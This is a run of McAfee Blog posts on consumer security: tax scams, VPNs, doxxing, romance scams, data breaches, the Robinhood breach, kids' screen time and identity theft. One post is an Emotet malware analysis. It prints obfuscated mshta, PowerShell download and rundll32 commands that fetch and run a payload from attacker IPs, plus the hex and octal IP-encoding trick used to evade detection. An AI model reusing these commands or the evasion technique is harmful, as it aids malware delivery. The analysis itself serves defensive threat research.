Protecting your devices with comprehensive online protection software can help block the phishing emails and suspicious links that make up many of these tax attacks. Likewise, it can further protect you from ransomware attacks like mentioned above. Additionally, our online Protection Score looks for weak spots in your protection and helps you shore them up, such as if discovers that your info was compromised or part of a data breach. From there, it guides you through the steps to correct the problem.
Further, consider online protection software that offers identity theft protection as well. A strong identity theft protection package offers cyber monitoring that scans the dark web to detect misuse of your personal info. With our identity protection service, we help relieve the burden of identity theft if the unfortunate happens to you with $1M coverage for lawyer fees, travel expenses, lost wages, and more.
The IRS offers steps you can take in the event you suspect fraud or theft. Their current resources include:
As mentioned above, you can get even more up to speed on the different tricks hackers are using by downloading our Guide to IRS & Tax Season Scams. It’s free, and it offers more ways you can protect your identity and information this tax season and year ‘round.
The post The IRS “Dirty Dozen” – Top Tax Season Scams to Steer Clear of This Year appeared first on McAfee Blog.
You may hear corporate cybersecurity experts hail the benefits of a VPN, or a virtual private network, to keep company information safe from ransomware attacks and cybercriminals seeking to steal valuable business secrets. It’s unlikely that everyday people, such as yourself, will be targeted by a ransomware scheme, so you may be puzzled about how a VPN can help someone like you be safer online. Luckily, with a VPN being very easy to install and use, you can indeed experience these three everyday benefits to keep your browsing activities safe from eavesdroppers seeking to profit from your online comings and goings.
The most widely known benefit of a VPN for daily use is to safeguard your device when it’s connected to a public Wi-Fi network. Coffee shops, libraries, hotels, transportation hubs, and other public places often provide courtesy internet service to visitors. Shifty characters often lurk on unprotected networks to lift personally identifiable information (PII) from people handling sensitive emails, making banking transactions, or shopping online. Public Wi-Fi eavesdroppers can lift credit card numbers, addresses, birthdays, and Social Insurance Numbers.
When you connect to public Wi-Fi that doesn’t have a lock icon, that’s a sign that you should toggle on your VPN. Also, even if you’re required to enter a password, be wary of any network you share with strangers.
A VPN can also hide your location data. How does this help you protect your browsing history? First, when you scramble your location, you’re likely to confuse ad networks trying to send you targeted ads. This will free your social media feeds and search engines from targeted ads that often are so accurate they seem like an invasion of privacy.
Second, hiding your location can protect you from cybercriminals looking to mine PII. VPNs make it impossible for criminals to discover your IP address. (The internet protocol address is what ties your device to a specific local network.) When they’re visible, criminals can trace IP addresses to reveal home addresses, full names, and phone numbers: all of which are key pieces of PII that, in the wrong hands, can jeopardize your identity.
While Canada and the European Union don’t allow ISPs (internet service providers) to even collect the browsing data of their customers, keep in mind that in some countries, like the U.S., ISPs can collect, store, share, and/or sell customer data. While advertisers are often the buyers of customer data, in the case of a breach, the more places your PII lives, the more likely it may be involved in a security incident. The goal is to limit the extent and number of places where your browsing history is stored.
VPNs can scramble your online movements to the point where not even ISPs can track it. Plus, when you log out, your device doesn’t keep a record of what you did while connected to the VPN. Incognito mode on your internet browser hides your IP address, but the websites you visit still collect cookies and store data about your online whereabouts, meaning that it’s not truly private browsing.
McAfee Safe Connect VPN encrypts your online activity to protect your data from prying eyes. With a premium paid plan, you can protect up to five devices at once with bank-grade Wi-Fi encryption. Feel more confident whenever you hop on the internet across all your connected devices with just one quick and easy step.
The post Why Everyone Needs a VPN appeared first on McAfee Blog.
Have you ever been online and replied to a comment or post? Maybe it was on Reddit or on an influencer’s Instagram. Did other people reply to you, and were any of them unexpectedly hostile? When you’re online, a little hostility is sadly par for the course, but most people brush it off and move on to enjoy other aspects of life online. But what would you do if that unpleasant interaction went much farther than was reasonable? What if one day you discovered the most important parts of your identity had been maliciously and intentionally revealed online? Let’s talk about doxxing – what it is and how you can avoid becoming a victim of this kind of harassment.
Doxxing, derived from the hacker term “dropping docs”, is internet slang for revealing someone’s identity online for the purposes of harassing them. It usually goes way beyond simply revealing someone’s email address or name and may involve personal information like a home address or workplace, SSN, financial information, phone number, pictures, texts, IP address, and other important details. The tricky thing about doxxing is that aspects of it may not be a crime, depending on what you’ve made publicly available online. However, the context in which doxxing occurs is crucial. Often it’s the first step taken to incite more severe harassment. For instance, the doxxer may not plan on taking action against their target but instead hope that someone else does. When put up against a recent Pew Research report showing that 41% of U.S. web users experience harassment in some form, it’s clear that Doxxing is a dangerous trend online.
Doxxing is a problem that’s grown in scope simply because there’s so much more data about us being kept online. Third-party services, called data brokers, capture our account info, the sites we visit, how long we spent on them, and other kinds of metadata to create profiles they then resell to advertisers. If someone gets access to these troves of data, they can reveal extremely damaging information about an individual, or data that allows a person to be damaged. For instance, with a phone number and a current address, some criminals were able to call in SWAT teams on innocent individuals. Political dissidents are often doxxed by the governments their protesting against. And on a lighter note, the adult website Ashley Madison, which promotes extramarital affairs, had their members’ data leaked online, to the embarrassment of a few public figures.
The response should be very similar to the one you’d take if your wallet was stolen. Move fast, stem the loss, and begin remediation as soon as possible. Here are some broad steps that can be taken.
Of course, not being doxxed in the first place is the ultimate goal of a proactive online protection plan. Here’s what we recommend:
Identity theft protection services help protect your data, monitor your online accounts like emails, SSNs, and more. In addition to online monitoring, they should also offer insurance and even theft remediation if the worst should occur.
Before you tag your location, friends, or workplace in a photo think about who has access to this information. What’s gained or lost by sharing all that info? Also, security questions for your accounts should not use the name of your pet or your first-born child if you have posted those on Facebook.
Public Wi-Fi networks at coffee shops and airports may not be secure against hackers and snooping. That’s why we recommend using a VPN whenever you’re connected online. This powerful tool hides your activity and location whenever you’re online on an unsecured network.
Googling yourself is a great way to see if anyone is using your online identity in bad ways.
Social networks allow you to control who can see your data. Usually, with a few clicks, you can restrict what you show online to a great degree. For instance, makes your payments viewable to other users as a default, but can easily be changed to hide them from the public.
Using long, complex, unique passwords for every account is convenient and maybe the best way to prevent your information from being stolen. Yes, we said convenient because with a password manager you only need to remember one key to create and manage much longer ones for all your most important accounts.
The reality is that the more we live online, the more our identities will too. This does not mean we need to live a restricted life online. In fact, using comprehensive online protection, which features most of the tools above, we can remain free to enjoy life on our terms. Doxxing is something to be aware of, but with great protection, it’s far from anything we need to be worried about as we make the most of our lives online.
The post Doxxing, The Internet, and How You Can Lock Down Your Data appeared first on McAfee Blog.
For years now, the popularity of online dating has been on the rise—and so have the number of online romance scams that leave people with broken hearts and empty wallets.
According to the U.S. Federal Trade Commission (FTC), the reported costs of online romance scams jumped 50% from 2019 to 2020, to the tune of $304 million. And that’s not entirely because 2020 was a pandemic year. From 2016 to 2020, the volume of reported cases tripled, while reported losses nearly quadrupled. Over that period, online romance scams are not only becoming more common, but they’re also becoming more costly.
Dating and romance scams aren’t limited to online dating apps and sites, they’ll happen on social media and in online games as well. However, the FTC reports that the scam usually starts the same way, typically through an unexpected friend request or a message that comes out of the blue.
With that initial introduction made, a chat begins, and a friendship (or more) blossoms from there. Along the way, the scammer will often rely on a mix of somewhat exotic yet believable storytelling to lure the victim in, often involving their job and where they’re working. Reports say that scammers will talk of being workers on an offshore oil rig, members of the military stationed overseas, doctors working with an international organization, or working in the sort of jobs that would prevent them from otherwise easily meeting up in person.
With the phony relationship established, the scammer starts asking for money. The FTC reports that they’ll ask for money for several bogus reasons, usually revolving around some sort of hardship where they need a “little help” so that they can pay:
The list goes on, yet that’s the general gist. Scammers often employ a story with an intriguing complication that seems just reasonable enough, one where the romance scammer makes it sound like they could really use the victim’s financial help.
People who have filed fraud reports say they’ve paid their scammer in a few typical ways.
One is by wiring money, often through a wire transfer company. The benefit of this route, for the scammer anyway, is that this is as good as forking over cash. Once it’s gone, it’s gone. The victim lacks the protections they have with other payment forms, such as a credit card that allows the holder to cancel or contest a charge.
Another way is through gift cards. Scammers of all stripes, not just romance scammers, like these because they effectively work like cash, whether it’s a gift card for a major online retailer or a chain of brick-and-mortar stores. Like a wire transfer, once that gift card is handed over, the money on it is highly difficult to recover, if at all.
One more common payment is through reloadable debit cards. A scammer may make an initial request for such a card and then make several follow-on requests to load it up again.
In all, a romance scammer will typically look for the easiest payment method that’s the most difficult to contest or reimburse, leaving the victim in a financial lurch once the scam ends.
When it comes to meeting new people online, the FTC suggests the following:
Scammers, although arguably heartless, are still human. They make mistakes. The stories they concoct are just that. Stories. They may jumble their details, get their times and dates all wrong, or simply get caught in an apparent lie. Also, keep in mind that some scammers may be working with several victims at once, which is yet another opportunity for them to get confused and slip up.
As mentioned above, some romance scammers troll social media and reach out through a direct message or friend request. With that, there are three things you can do to cut down your chances of getting caught up with a scammer:
Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy and give a romance scammer less information to exploit.
Be critical of the invitations you receive. Out-and-out strangers could be more than a romance scammer, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests.
Security software can protect you from clicking on malicious links that a scammer may send you online, while also steering you clear of other threats like viruses, ransomware, and phishing attacks in general. It can look out for your personal information as well, by protecting your privacy and monitoring your email, SSN, bank accounts, credit cards, and other info that a scammer or identity thief may put to use. With identity theft a rather commonplace occurrence today, security software is really a must.
If you suspect that you’re being scammed, put an end to the relationship and report it, as difficult as that may feel.
Notify the FTC at ReportFraud.ftc.gov for support and next steps to help you recover financially as much as possible. Likewise, notify the social media site, app, or service where the scam occurred as well. In some cases, you may want to file a police report, which we cover in our broader article on identity theft and fraud.
If you sent funds via a gift card, the FTC suggests filing a claim with the company as soon as possible. They offer further advice on filing a claim here, along with a list of contact numbers for gift card brands that scammers commonly use.
Lastly, go easy on yourself. If you find yourself a victim of online dating or romance fraud, know that you won’t be the first or last person to be taken advantage of this way. By reporting your case, you in fact may help others from falling victim too.
The post Phony Valentines: Online Dating Scams and How to Spot Them appeared first on McAfee Blog.
Authored By: Kiran Raj
In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:
Hexadecimal format: 0xb907d607
Octal format: 0056.0151.0121.0114
Decimal format: 185.7.214.7
This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.
Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.
On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.
Below are the commands used in Hexadecimal and Octal variants of the Maldocs
| FORMAT | OBFUSCATED CMD | DEOBFUSCATED CMD |
| Hexadecimal | cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html | http://185[.]7[.]214[.]7/fer/fer.html |
| Octal | cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html | http://46[.]105[.]81[.]76/c.html |
On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.
The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code
The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.
| cmd line | (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’) |
The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server
| cmd line | cmd /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString |
| TYPE | VALUE | SCANNER | DETECTION NAME |
| XLS | 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c | McAfee LiveSafe and Total Protection | X97M/Downloader.nn |
| DLL | a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 | McAfee LiveSafe and Total Protection
|
Emotet-FSY |
| HTML URL | http://185[.]7[.]214[.]7/fer/fer.html
http://46[.]105[.]81[.]76/c.html |
WebAdvisor | Blocked |
| DLL URL | http://185[.]7[.]214[.]7/fer/fer.png
http://46[.]105[.]81[.]76/cc.png |
WebAdvisor | Blocked |
| TECHNIQUE ID | TACTIC | TECHNIQUE DETAILS | DESCRIPTION |
| T1566 | Initial access | Phishing attachment | Initial maldoc uses phishing strings to convince users to open the maldoc |
| T1204 | Execution | User Execution | Manual execution by user |
| T1071 | Command and Control | Standard Application Layer Protocol | Attempts to connect through HTTP |
| T1059 | Command and Scripting Interpreter | Starts CMD.EXE for commands execution | Excel uses cmd and PowerShell to execute command |
| T1218
|
Signed Binary Proxy Execution | Uses RUNDLL32.EXE and MSHTA.EXE to load library | rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript |
Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.
The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.
It happens with more regularity than any of us like to see. There’s either a headline in your news feed or an email from a website or service you have an account with—there’s been a data breach. So what do you do when you find out that you and your information may have been caught up in a data breach? While it can feel like things are out of your hands, there are actually several things you can do to protect yourself.
Let’s start with a look at what kind of information may be at stake and why crooks value that information so much (it’s more reasons than you may think).
The fact is that plenty of our information is out there on the internet, simply because we go about so much of our day online, whether that involves shopping, banking, getting results from our doctors, or simply hopping online to play a game once in a while.
Naturally, that means the data in any given breach will vary from service to service and platform to platform involved. Certainly, a gaming service will certainly have different information about you than your insurance company. Yet broadly speaking, there’s a broad range of information about you stored in various places, which could include:
As to what gets exposed and when you might find out about it, that can vary greatly as well. One industry research report found that 60% of breaches were discovered in just days from the initial attack while others could take months or even longer to detect. Needless to say, the timeline can get rather stretched before word reaches you, which is a good reason to change your passwords regularly should any of them get swept up in a breach. (An outdated password does a hacker no good—more on that in a bit.)
The answer is plenty. In all, personal information like that listed above has a dollar value to it. In a way, your data and information are a kind of currency because they’re tied to everything from your bank accounts, investments, insurance payments—even tax returns and personal identification like driver’s licenses.
With this information in hand, a crook can commit several types of identity crime—ranging from fraud to theft. In the case of fraud, that could include running up a bill on one of your credits cards or draining one of your bank accounts. In the case of theft, that could see crooks impersonate you so they can open new accounts or services in your name. Beyond that, they may attempt to claim your tax refund or potentially get ID issued in your name as well.
Another possibility is that a hacker will simply sell that information on the dark marketplace, perhaps in large clumps or as individual pieces of information that go for a few dollars each. However it gets sold, these dark-market practices allow other fraudsters and thieves to take advantage of your identity for financial or other gains.
Most breaches are financially motivated, with some researchers saying nearly 90% of breaches are about the money. However, we’ve also seen hackers simply dump stolen information out there for practically anyone to see. The motivations behind them vary, yet could involve anything from damaging the reputation of an organization to cases of revenge.
A list of big data breaches is a blog article of its own, yet here’s a quick list of some of the largest and most impactful breaches we’ve seen in recent years:
Needless to say, it’s not just the big companies that get hit. Healthcare facilities have seen their data breached, along with the operations of popular restaurants. Small businesses find themselves in the crosshairs as well, with one report stating that 43% of data leaks target small businesses. Those may come by way of an attack on where those businesses store their records, a disgruntled employee, or by way of a compromised point-of-sale terminal in their store, office, or location.
In short, when it comes to data breaches, practically any business is a potential target because practically every business is online in some form or fashion. Even if it’s by way of a simple point-of-sale machine.
When a business, service, or organization falls victim to a breach, it doesn’t always mean that you’re automatically a victim too. Your information may not have been caught up in it. However, it’s best to act as if it was. With that, we strongly suggest you take these immediate steps.
Given the possibility that your password may be in the hands of a hacker, change it right away. Strong, unique passwords offer one of your best defenses against hackers. Update them regularly as well. As mentioned above, this can protect you in the event a breach occurs and you don’t find out about it until well after it’s happened. You can spare yourself the upkeep that involves a password manager that can keep on top of it all for you. If your account offers two-factor authentication as part of the login process, make use of it as it adds another layer of security that makes hacking tougher.
If you spot unusual or unfamiliar charges or transactions in your account, bank, or debit card statements, follow up immediately. That could indicate improper use. In general, banks, credit card companies, and many businesses have countermeasures to deal with fraud, along with customer support teams that can help you file a claim if needed.
If you haven’t done so already, consider signing up for a service that can monitor dozens of types of personal information and then alert you if any of them are possibly being misused. Identity protection such as ours gives you the added benefit of a professional recovery specialist who can assist with restoring your affairs in the wake of fraud or theft, plus up to $1 million in insurance coverage.
Our advice is to take a deep breath and get to work. By acting quickly, you can potentially minimize and even prevent any damage that’s done. With that, we have two articles that can help guide the way if you think you’re the victim of identity theft, each featuring a series of straightforward steps you can take to set matters right:
Again, if you have any concerns. Take action. The first steps take only minutes. Even if the result is that you find out all’s well, you’ll have that assurance and you’ll have it rather quickly.
The post What to Do If You’re Caught Up in a Data Breach appeared first on McAfee Blog.
Have you noticed that when parents gather, it doesn’t take long before the topic of kids and social media comes up. That’s because concern over screen time is a big deal, especially in this post-pandemic season. Parents want to know: How much is too much screen time? When should we step in? How do we reverse poor habits, and what will the lasting digital fallout of the lockdown be?
These conversations weigh heavy on parents for a good reason. According to a report from Common Sense Media, teens spend an average of seven hours and 22 minutes on their phones a day. Tweens (ages 8 to 12) spend four hours and 44 minutes daily. This is time outside of schoolwork.
Since the pandemic, another study claims that screen time for teens doubled to 7.7 hours a day—plus 5 to 7 daily hours of online learning, according to a study published in JAMA Pediatrics. In addition, according to the Journal of Affective Disorders Reports, children overall have been spending nearly triple the recommended amount of time on their screens.
The good news is that social media also became a powerful tool for kids during the pandemic. Social channels helped kids connect with peers and combat loneliness and other mental health challenges. Still, the poor habit of device dependence may have come with those benefits.
While the debate continues over social media’s impact on kids and the research methodology continues to evolve, we can hold on to one clear truth: Any activity in excess can cause kids harm. When it comes to social media, too much screen time may contribute to sleep deprivation, a lack of healthy, and poor academics. In addition, studies show that mental health can be impacted by exposure to hate speech, sexual content, cyberbullying, and comparing oneself to others both physically and financially.
As parents, we know when our family’s wellbeing is in jeopardy. We see it even if we fail to acknowledge it right away. Our kids might become compelled to check their phones. In fact, they panic when they can’t check their likes and comments every few minutes. We notice the red eyes and moodiness at the breakfast table caused by a late-night Tic Tock marathon. We sense a surge of anxiety in our kids when technology goes from entertaining to distressing.
Thankfully, it’s never too late to help your kids better understand the impact of their actions and revise digital habits.
In the bestselling book Atomic Habits, author James Clear says, “The task of breaking a bad habit is like uprooting a powerful oak within us.” He adds, “The task of building a good habit is like cultivating a delicate flower one day at a time.” Lasting change, says clear, needs to be enjoyable, not a punishment. If the goal is shaving a few hours off your child’s screen time, consider connecting time limits to an enjoyable activity such as making a meal together or creating an art space in your home for creative projects.
The data is in: The bright screens (and blue light emitted from devices( can cause permanent sleep cycle and brain/melatonin issues, which can have a cascading effect on physical and mental health. Turning off (or limiting the use of) electronic devices at least 15-30 minutes before going to bed may help prevent any adverse effects of technology and screen use on sleep. Consider investing in filtering software that comes with the time limits the whole family can all agree on. Do your research to ensure your family’s technology functions to empower, educate, and entertain.
Consider how your child uses their time before suggesting sweeping changes to your child’s screen time. Are they vegetating, or are they consciously engaged? Are they creating and learning? Are they engaging with others or stalking accounts and slipping into “comparison despair?” Are family and school responsibilities suffering? Is there a compulsion to post or thoughtfulness? All kids are different, and all online experiences vary. Encourage your child to take time to consider how they feel and what they think while they are using their technology.
One way to negotiate screen limits is to make sure your kids understand the impact of excess media. Balance includes tapping into the benefits of social media while also taking steps to protect the body’s need for physical activity, real-life relationships, goal-setting, creative activities, mindfulness, and self-reflection.
Helping kids manage and constantly revise their social media habits is a 24/7 endeavor from the minute they wake up to the minute they fall asleep. The biggest piece of that “management” plan and is keeping frequent, open, and honest communication a critical part of designing habits that encourage a healthy relationship with both peers and technology.
The post Does Your Child Have an Unhealthy Relationship with Social Media? appeared first on McAfee Blog.
I think it’s fair to say that come to next Australia Day, there needs to be a special award category for parents of young children who survived home learning during the lockdowns. Let’s be honest – it’s been brutal! So many parents had to juggle their own full-time work, running a household, AND supervising a day’s worth of learning for often, multiple children! Research from Macquarie University showed that many parents spent up to 14 hours a week in their role as home learning managers and 9/10 parents reported the experience as, quite understandably, stressful! As a mum of older teens and young adults – who are usually self-sufficient – I’m in awe!
But the good news is – things are on the improve! Our vaccine rates are amongst the best in the world, so lockdowns have been lifted and, drum roll… kids are back at school! I’ve always been a big fan of trying to find the silver lining of any situation and I think there are many we can take away from our COVID experience, particularly when it comes to digital parenting. I know of so many parents who have completely rethought their approach to managing kids and technology since the pandemic hit because of their home learning experience.
So, in the spirit of sharing and caring, I thought I’d round up some of the best ‘aha’ moments from parents who were forced to become expert home learning managers over multiple lockdowns. And make sure you take notes because there are some great learnings that we can apply to our digital parenting journey.
If you have never been ‘all in’ with your kids’ use of technology for both learning and socializing, then you need to get over this ASAP. Technology is the lifeblood of your kids’ lives. It’s how they connect, nurture friendships, and organize their social lives. I also recommend parents try to see technology through the eyes of their kids NOT just through our more ‘mature’ lens. It’s the best way of truly understanding just what a huge role it plays in their day-to-day lives. And don’t forget that technology is almost always used to set up in-person catchups! So, please don’t demonize it, it will only push your kids away.
I totally appreciate that many parents didn’t choose to be home learning ‘managers’ however many have shared with me how they now feel far more involved in their child’s life because of the experience. Seeing first-hand how your child’s day works, overhearing their conversations with teachers and peers (courtesy of Zoom), and being blown away by your offspring’s tech skills has given many parents incredible insight into their child.
I know of parents who have noticed learning issues and friendship problems all as a result of their home learning manager role! There’s nothing like being able to nip something in the bud before it becomes a big issue! So, stay involved and you’ll reap the rewards!
Confession – I have never been one of those parents who proactively organized park visits, bushwalks, and exercise regimes for my kids. But many of the parents who managed young children through a lockdown and resorted to becoming personal trainers reported that it paid dividends. So, now lockdowns are (hopefully!) history, don’t forget about the benefits of getting your kids to move. It’s hard to be on a screen when you are walking the dog, playing a game of family cricket, or bushwalking. I know it’s time-consuming but it’s so worth it!
As of 2 years ago, the average Aussie household had 17 internet-connected devices in tow so it’s no wonder keeping abreast of all the devices in your household feels like a full-time job! But with kids continuing to use their devices for both study and socializing, it’s essential that you give each device a ‘once over’ to minimize risks and prevent issues arising down the track.
Ensuring all their software is up to date is a great place to start. Also check that the default password has been changed and that there is some top-shelf security software installed to protect the device and, most importantly, its user! And while you are there, why not also ensure that each of their online accounts has its own distinct password? If you think they could manage a password manager, then it might be time to introduce them to one? Check out McAfee’s True Key – I couldn’t manage without it!
I think you’d be hard-pressed to find many parents keen to return to home learning. In fact, I think there may even be a revolt if we had to go back! But, knowing we have picked up some ‘nuggets of gold’ along the way makes it a little feel a little better! So, please embrace technology – it’s a fantastic way of connecting with your kids. But of course, keep your family’s usage in check and minimize the risks by giving each device a once-over.
Happy Digital Parenting!
Alex
The post What We’ve Learnt From Home Learning During Lockdown appeared first on McAfee Blog.
The Robinhood trading platform recently disclosed a data breach that exposed the information of millions of its customers. News of the attack was released on Monday, November 8th along with word the hackers behind it had demanded an extortion payment from the company.
According to Robinhood’s disclosure, the attack occurred on November 3rd, which allowed an unauthorized party to obtain the following:
In addition, smaller groups of Robinhood customers had yet more information compromised. Around 310 people had their names, birth dates, and zip codes exposed in the breach. Another 10 customers had “more extensive account details revealed,” per Robinhood’s disclosure.
Robinhood went on to say, “We believe that no Social Security numbers, bank account numbers, or debit card numbers were exposed and that there has been no financial loss to any customers as a result of the incident.”
Robinhood further stated that the company contained the intrusion and that it promptly informed law enforcement of the extortion demand. Robinhood says that it is continuing to investigate the incident with the assistance of a security firm.
The company advised its customers to visit the Robinhood help center to receive the latest messages from the company, noting that they will never include a link to access an account in a security alert.
Any data breach that you and your information may have been involved in calls for a few quick security steps:
1. Log into your account and update your password with a new one that is strong and unique. Likewise, if you use the same or similar passwords across several accounts, change those as well. (A password manager that’s included with comprehensive online protection software can do that work for you.) Set up two-factor authentication if your account allows for it, as this will provide an extra layer of protection as well.
2. Review your statements for any strange activity—even the smallest of withdrawals or transactions could be the sign of a larger issue.
3. Report any suspected fraud to the company or institution involved. They typically have set policies and procedures in place to provide support.
If you believe that you’ve become a victim of identity theft, file a report with local law enforcement and the Federal Trade Commission (FTC). Law enforcement can provide you with a case number that you may need as part of the recovery process. Likewise, the FTC’s identity theft website provides excellent resources, including a recovery plan and a step-by-step walkthrough if you create an account with them.
For even more information, visit our blog that points out the signs of identity theft and the steps you can take should you find yourself victim.
Given that the breach apparently exposed some 5 million email addresses, there’s the risk that these may end up in the hands of bad actors who may use them for follow-on attacks.
Notable among them would be phishing attacks, where hackers could target Robinhood users with phony messages in an attempt to get affected users to reveal further account information. For example, hackers could potentially create bogus emails that appear to come from Robinhood and direct users to a malicious site that requests account information. As Robinhood stated, the company will never include a link to access an account in a security alert. Users should visit the Robinhood site directly for account information.
This breach could lead to other phishing attacks as well, ones that may or may not pose as communication from Robinhood. Some of these phishing attacks can be rather easy to spot, as they may include typos, poorly rendered logos, or spoofed web addresses. However, some sophisticated hackers can roll out rather polished phishing attacks that can closely resemble legitimate communications.
In all, people can avoid falling victim to phishing attacks by keeping the following in mind:
1. Only access your accounts directly from the official website of the company or financial institution involved. If you receive an email, message, or text alerting you of an issue, do not click any links provided in the communication. Go straight to the site yourself by typing in the proper address and view your account information there. Likewise, calling the customer support line posted on their official site is an option as well.
2. Use comprehensive online protection software that includes a spam filter. This can prevent phishing emails from reaching your inbox in the first place.
3. Get to know the signs of phishing emails. A common sign of a scam is an email, ad, message, or site that simply doesn’t look or read right. (Maybe the grammar is awkward or the logo is grainy or has the colors slightly wrong.) However, some of them can look quite convincing, yet there are still ways to spot an attempted phishing attack.
4. Beware of email attachments you aren’t expecting. This is always good form because hackers love to spike attachments with malware that’s designed to steal your personal information. Whether you get an unexpected attachment from a friend or business, follow up before opening it. That’s a quick way to find out if the attachment is legitimate or not.
For more info on phishing and how to steer clear of it, check out our blog on how to spot phishing attacks.
The unfortunate fact is that data breaches can and do happen. Many of the larger data breaches make the headlines, yet many more do not—such as the ones that hit small businesses, restaurants, and medical care providers. In the hands of hackers, the information spilled by these breaches can provide them with the building blocks to commit identity theft. As a result, keeping on top of your identity and personal information is a must.
The good news is that you have solid options to prevent them from harming you or at least greatly lessen their potential impact. With identity theft protection, even in the short-term, you can monitor emails addresses and usernames that are being used to breach other accounts. You can monitor dozens of different types of personal information and receive alerts to keep an eye out for misuse. Likewise, it can monitor your email addresses and bank accounts for signs of misuse or fraud, plus provide theft protection and support from a recovery specialist if identity theft, unfortunately, happens to you.
Along those same lines, news of a data breach offers all of us a moment to pause and take stock of just how protected we are. Above and beyond the steps covered above, comprehensive online protection can protect your devices from malware, phishing attacks, malicious websites, and other threats. More importantly, it protects you—your identity and privacy, particularly in times where breaches such as the one we’re talking about here occur with seeming regularity.
The post Protecting Yourself in the Wake of the Robinhood Data Breach appeared first on McAfee Blog.
When it comes to identity theft, trust your gut when something doesn’t feel right. Follow up. What you’re seeing could be a problem.
A missing bill or a mysterious charge on your credit card could be the tip of an identity theft iceberg, one that can run deep if left unaddressed. Here, we’ll look at several signs of identity theft that likely need some investigation and the steps you can take to take charge of the situation.
Unfortunately, it can happen in several ways.
In the physical world, it can happen simply because you lost your wallet or debit card. However, there are also cases where someone gets your information by going through your mail or trash for bills and statements. In other more extreme cases, theft can happen by someone successfully registering a change of address form in your name (although the U.S. Postal Service has security measures in place that make this difficult).
In the digital world, that’s where the avenues of identity theft blow wide open. It could come by way of a data breach, a thief “skimming” credit card information from a point-of-sale terminal, or by a dedicated crook piecing together various bits of personal information that have been gathered from social media, phishing attacks, or malware designed to harvest information. Additionally, thieves may eavesdrop on public Wi-Fi and steal information from people who’re shopping or banking online without the security of a VPN.
Regardless of how crooks pull it off, identity theft is on the rise. According to the Federal Trade Commission (FTC), identity theft claims jumped up from roughly 650,000 claims in 2019 to nearly 1.4 million in 2020—practically double. Of the reported fraud cases where a dollar loss was reported, the FTC calls out the following top three contact methods for identity theft:
However, phone calls, texts, and email remain the most preferred contact methods that fraudsters use, even if they are less successful in creating dollar losses than malicious websites, ads, and social media.
Identity thieves leave a trail. With your identity in hand, they can charge things to one or more of your existing accounts—and if they have enough information about you, they can even create entirely new accounts in your name. Either way, once an identity thief strikes, you’re probably going to notice that something is wrong. Possible signs include:
As you can see, the signs of possible identity theft can run anywhere from, “Well, that’s strange …” to “OH NO!” However, the good news is that there are several ways to check if someone is using your identity before it becomes a problem – or before it becomes a big problem that gets out of hand.
The point is that if you suspect fraud, you need to act right away. With identity theft becoming increasingly commonplace, many businesses, banks, and organizations have fraud reporting mechanisms in place that can assist you should you have any concerns. With that in mind, here are some immediate steps you can take:
Whether you spot a curious charge on your bank statement or you discover what looks like a fraudulent account when you get your free credit report, let the bank or business involved know you suspect fraud. With a visit to their website, you can track down the appropriate number to call and get the investigation process started.
Some businesses will require you to file a local police report to acquire a case number to complete your claim. Even beyond a business making such a request, filing a report is still a good idea. Identity theft is still theft and reporting it provides an official record of the incident. Should your case of identity theft lead to someone impersonating you or committing a crime in your name, filing a police report right away can help clear your name down the road. Be sure to save any evidence you have, like statements or documents that are associated with the theft. They can help clean up your record as well.
The FTC’s identity theft website is a fantastic resource should you find yourself in need. Above and beyond simply reporting the theft, the FTC can provide you with a step-by-step recovery plan—and even walk you through the process if you create an account with them. Additionally, reporting theft to the FTC can prove helpful if debtors come knocking to collect on any bogus charges in your name. You can provide them with a copy of your FTC report and ask them to stop.
You can place a free one-year fraud alert with one of the major credit bureaus (Experian, TransUnion, Equifax), and they will notify the other two. A fraud alert will make it tougher for thieves to open accounts in your name, as it requires businesses to verify your identity before issuing new credit in your name.
A credit freeze goes a step further. As the name implies, a freeze prohibits creditors from pulling your credit report, which is needed to approve credit. Such a freeze is in place until you lift it, and it will also apply to legitimate queries as well. Thus, if you intend to get a loan or new credit card while a freeze is in place, you’ll likely need to take extra measures to see that through. Contact each of the major credit bureaus (Experian, TransUnion, Equifax) to put a freeze in place or lift it when you’re ready.
This can run the gamut from closing any false accounts that were set up in your name, removing bogus charges, and correcting information in your credit report such as phony addresses or contact information. With your FTC report, you can dispute these discrepancies and have the business correct the record. Be sure to ask for written confirmation and keep a record of all documents and conversations involved.
If you receive a notice from the IRS that someone used your identity to file a tax return in your name, follow the information provided by the IRS in the notice. From there, you can file an identity theft affidavit with the IRS. If the notice mentions that you were paid from an employer you don’t know, contact that employer as well and let them know of possible fraud—namely that someone has stolen your identity and that you don’t truly work for them.
